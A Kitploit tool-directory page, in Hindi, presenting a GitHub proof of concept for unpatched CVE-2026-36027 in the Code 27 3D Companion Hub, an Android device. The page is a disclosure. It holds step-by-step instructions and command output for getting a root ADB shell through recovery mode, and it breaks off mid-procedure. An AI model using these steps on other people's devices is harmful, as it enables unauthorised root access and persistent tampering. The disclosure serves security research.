Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Code-27-Companion-Hub-Exploits — CVE-2026-36027 और CVE-2026-36028 के लिए प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
एंड्रॉइड सुरक्षाएम्बेडेड सिस्टम सुरक्षाविशेषाधिकार वृद्धिIoT सुरक्षाभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगहार्डवेयर सुरक्षा

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

CVE-2026-36027 और CVE-2026-36028 के लिए प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
1203 महीने पहलेअभी तक समीक्षित नहीं

Code 27 3D Companion Hub भेद्यताएं (CVE-2026-36027, CVE-2026-36028)

Code 27 3D Companion Hub एक भौतिक डेस्कटॉप उपकरण है जो एक कस्टम AI पात्र ("Codie") को एनिमेटेड 3D साथी के रूप में प्रस्तुत करता है। उपयोगकर्ता कोई भी 3D मॉडल अपलोड या बना सकते हैं, और मल्टीमॉडल AI पात्र को अपने आस-पास देखने, स्वर और शारीरिक भाषा पढ़ने और खुले अंत वाली बातचीत करने देता है।

यह रिपोर्ट दो ऐसी भेद्यताओं को कवर करती है जिनके लिए उपकरण तक भौतिक पहुंच की आवश्यकता होती है। दोनों को नीचे दिए गए बिल्ड के विरुद्ध मान्य किया गया है और प्रकाशन के समय, अनपैच हैं।

Code 27 3D Companion Hub

प्रभावित उपकरण / बिल्ड

फ़ील्डमान
उत्पादCode 27 3D Companion Hub
Companion Hub UI संस्करण1.2.0
SoC / बोर्डRockchip RK3588S (rk3588s_yt921)
OSAndroid 12
बिल्ड IDSQ3A.220705.003.A1
पूर्ण फिंगरप्रिंटrk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
बिल्ड प्रकारuserdebug / release-keys

शिपिंग फर्मवेयर एक userdebug बिल्ड है (रिकवरी बैनर और ro.build.display.id में दिखाई देता है)। userdebug बिल्ड adb root के माध्यम से adbd को रूट के रूप में पुनः आरंभ करने की अनुमति देते हैं, जो CVE-2026-36027 के अस्तित्व में आने का एक प्रमुख सक्षम कारक है।

Companion Hub version screen showing version 1.2.0


CVE-2026-36027 - रिकवरी में USB डिबगिंग (ADB) के माध्यम से मनमाना कोड निष्पादन

कार्यकारी सारांश

एक शारीरिक रूप से निकट का हमलावर Companion Hub को Android रिकवरी में बूट कर सकता है और रूट-विशेषाधिकार प्राप्त ADB शेल (uid=0, SELinux संदर्भ u:r:su:s0) प्राप्त कर सकता है। चूंकि उपकरण एक userdebug बिल्ड भेजता है, adbd को adb root के साथ रूट के रूप में पुनः आरंभ किया जा सकता है, जिससे हमलावर को रिकवरी वातावरण के साथ पढ़ने/लिखने की बातचीत, बिल्ड और हार्डवेयर गुणों की गणना करने की क्षमता, और रिकवरी फ़ंक्शंस (साइडलोड, फास्टबूट, पार्टीशन संचालन) तक पहुंच मिलती है।

प्राप्त पहुंच रिकवरी रैमडिस्क के भीतर है, लाइव Android रनटाइम में नहीं। परीक्षण में, रिकवरी Mount /system क्रिया विफल रही (libfs_mgr /dev/block/by-name/system नहीं खोल सका), इसलिए सिस्टम पार्टीशन इस पथ के माध्यम से सीधे माउंट नहीं हुआ था, और कियोस्क और किसी भी डिक्रिप्टेड उपयोगकर्ता डेटा के साथ बूट किया गया उपयोगकर्ता वातावरण इस मोड में प्रस्तुत नहीं होता है।

यह अभी भी मायने रखता है क्योंकि रिकवरी वातावरण में रूट पहुंच स्थायी उपकरण स्थिति को संशोधित करने का आधार है (उदाहरण के लिए, पार्टीशन में लिखना या क्राफ्टेड अपडेट पैकेज लागू करना) ताकि हमलावर-नियंत्रित कोड बाद के सामान्य बूट पर चल सके, लाइव उपकरण पर पैर जमा सके।

प्रूफ ऑफ कॉन्सेप्ट

  1. उपकरण बंद करें।
  2. एक बार उपकरण पूरी तरह से बंद हो जाए, तब तक पावर और वॉल्यूम बटन एक साथ दबाए रखें जब तक उपकरण Android रिकवरी मेनू में बूट न हो जाए।

Android रिकवरी मेनू जिसमें Mount /system हाइलाइट किया गया है

  1. एक USB-C केबल Companion Hub से और USB-A सिरा कंप्यूटर से कनेक्ट करें।
  2. बटनों का उपयोग करके Mount /system पर नेविगेट करें, इसे हाइलाइट करें, और पुष्टि करें। यह विफल होता हुआ दिखाई देगा। यह अपेक्षित है, और एक्सप्लॉइट फिर भी काम करता है। (रिकवरी लॉग libfs_mgr द्वारा /dev/block/by-name/system खोलने में विफलता दर्शाता है।)
  3. अपने कंप्यूटर पर ADB स्थापित होने पर, उपकरण सूचीबद्ध है इसकी पुष्टि करें:
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. उपकरण रिकवरी मोड में है। रूट संदर्भ में adbd को पुनः आरंभ करें:
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. एक शेल खोलें - अब आप उपकरण पर रूट हैं:
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. रूट शेल के साथ आप रिकवरी फाइलसिस्टम की गणना और उससे बातचीत कर सकते हैं:
टूल डाउनलोड करें